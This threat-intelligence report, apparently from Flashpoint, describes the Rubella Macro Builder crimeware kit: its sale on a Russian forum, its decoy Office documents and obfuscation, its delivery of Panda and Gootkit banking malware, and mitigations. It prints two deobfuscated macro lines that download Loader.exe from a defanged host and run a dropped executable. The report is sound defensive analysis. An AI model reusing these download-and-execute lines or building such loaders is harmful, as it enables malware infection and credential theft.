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‘Rubella Macro Builder’ Crimeware Kit Emerges on Underground


A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.

First offered for sale in late February for the relatively low price of $500 USD per month, the Rubella Macro Builder has since undergone various updates, additions, and pricing changes. While newer versions of the builder are significantly cheaper—as of April, a three-month license is $120 USD—they also come with enhanced features including various encryption algorithm choices ( XOR and Base64), download methods (PowerShell, Bitsadmin, Microsoft.XMLHTTP, MSXML2.XMLHTTP, custom PowerShell payload), payload execution methods (executable, JavaScript, Visual Basic Script), and the ability to easily deploy social engineering decoy themes with an Enable Content feature turned on to run the macro.

Typically distributed to its intended victims via Microsoft Word or Excel email attachments, the Rubella-generated malware acts as a first-stage loader for other subsequent malware downloads and installations on targeted machines. It does not utilize any vulnerabilities but relies on social engineering techniques to force victims to enable malicious macro execution to run it. The builder allows the generation of Microsoft Word (.DOC) and Microsoft Excel (.XLS) payloads. The latest observed version of this malware builder is 1.4. 

Flashpoint’s analysis of a sample of the Rubella Macro Builder revealed that it works as follows:

Screenshot of the macro settings of the Rubella Macro Builder

Image 1: Screenshot of the macro settings of the Rubella Macro Builder.

Image 2: The Rubella document imitates a DPD shipping document in protected view. The document asks the potential victim to enable macros.

Image 2: The Rubella document imitates a DPD shipping document in protected view. The document asks the potential victim to enable macros.

The Visual Basic code is split into the Modules and Forms folder objects as follows:

1. Random Value [A-Za-z]{6}

 2. “UserForm1”

Image 3: The Rubella developer section displays various obfuscated macro code.

Image 3: The Rubella developer section displays various obfuscated macro code.

The macro junk and substitution method appears to be relatively primitive, relying on basic string substitutions. Additionally, its copy/paste implementation of the Base64 algorithm is displayed in Visual Basic Script (VBS) code implementation. The code is obfuscated through general Chr ASCII values.

The observed server call request is achieved via the IXMLHTTPRequest method in this specific variant. The macro code contains auto execution when the Word document is opened via an AutoOpen call. Additionally, the code has logic to delete the file if it exists via a Kill call.

Two important decoded functions responsible for malware download and execution are:

1. CreateObject(“”)Run, “C:\Users\Public\mputernoticeme.exe”, True)

2. CreateObject.Open “GET http://www.senescence[.]info/download/Loader.exe, False)

Images 4-5: The Rubella Macro Builder's deobfuscated Wscript execution code, which leads to execution of the "Panda" banking malware.

Images 4-5: The Rubella Macro Builder’s deobfuscated Wscript execution code, which leads to execution of the “Panda” banking malware.

Two Rubella malware infections led to the execution of the Panda banking malware version 2.6.6 and Gootkit banking malware. Panda and Gootkit banking malware feature credential harvesting capabilities, browser infection through webinjects, and remote PC access via a hidden virtual network computing (VNC) module. 

Flashpoint analysts determined that the criminal gangs behind the Panda and Gootkit banking malware each leveraged the Rubella first-stage loader as an initial attack vector in two recent but separate campaigns. It is likely that the gangs are customers of the actor offering Rubella on the underground. Specifically, the gangs behind the Panda malware distribution appear to have targeted customers through various social media platforms, as well as an Australian financial institution, through Panda’s webinject functionality.

Microsoft Office macro-based malware appears to still be threat actors’ preferred method for obtaining initial access to compromised machines. Such Microsoft Office-based loader malware works well as an initial decoy—disguising itself as a commonly exchanged Word or Excel document and impersonating normal Microsoft Office or Excel attachments—and is generally spread via email attacks. While relatively unsophisticated, the Rubella Macro Builder represents a moderate threat to various networks given its ability to defeat basic static antivirus detection. Its comparatively low pricing model may also add to the crimeware’s appeal.

Mitigation Recommendations 

• Exercise caution with email messages that contain suspicious Microsoft Word or Excel attachments, which are the primary method of distributing Rubella-generated first-stage loaders

• Examine and scrutinize any unknown Microsoft Word and Excel documents that ask to “Enable Content” to run macros. The Rubella malware relies on social engineering to persuade victims to run macro scripts by turning on the “Enable Content” security feature.

• Employ email and hunting detection mechanisms to identify Rubella malware.

• Review and monitor for indicators of compromise linked to this crimeware kit.

To download the indicators of compromise (IOCs) for the Rubella macro builder, click here.

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About the author: Vitali Kremez

Vitali Kremez is a Director of Research at Flashpoint. He oversees analyst collection efforts and leads a technical team that specializes in researching and investigating complex cyber attacks, network intrusions, data breaches, and hacking incidents. Vitali is a strong believer in responsible disclosure and has helped enterprises and government agencies deliver indictments of many high-profile investigations involving data breaches, network intrusions, ransomware, computer hacking, intellectual property theft, credit card fraud, money laundering, and identity theft. Previously, Vitali enjoyed a rewarding career as a Cybercrime Investigative Analyst for the New York County District Attorney's Office.

He has earned the majority of certifications available in the information technology, information security, digital forensics, and fraud intelligence fields. A renowned expert, speaker, blogger, and columnist, Vitali has contributed articles to Dark Reading, BusinessReview, and Infosecurity Magazine and is a frequent commentator on cybercrime, hacking incidents, policy, and security.

About the author: Amina Bashir


Amina Bashir is an intelligence analyst at Flashpoint. Amina has conducted extensive research on IoT security and taught as an adjunct computer science lecturer at Hunter College, from which she holds a Bachelor of Arts in Computer Science. Amina’s research on "SpEED-IoT: Spectrum Aware Energy Efficient Routing for Device-to-Device IoT Communication" was recently published in Elsevier’s Future Generation Computer Systems journal, and she will present her research on collaborative adversarial modeling for spectrum-aware IoT communications at the International Conference on Computing, Networking and Communications (ICNC) 2018. She is fluent in Hindi, Urdu, and Punjabi, and she is also intermediately proficient in Spanish.

About the author: Paul Burbage

Paul Burbage headshot

Paul is a Senior Malware Researcher at Flashpoint with over 15 years of experience in the threat intelligence and information security arena. He specializes in emerging threat research, botnet tracking, and reverse engineering malware. His passion lies in finding vulnerabilities in malware command and control infrastructure.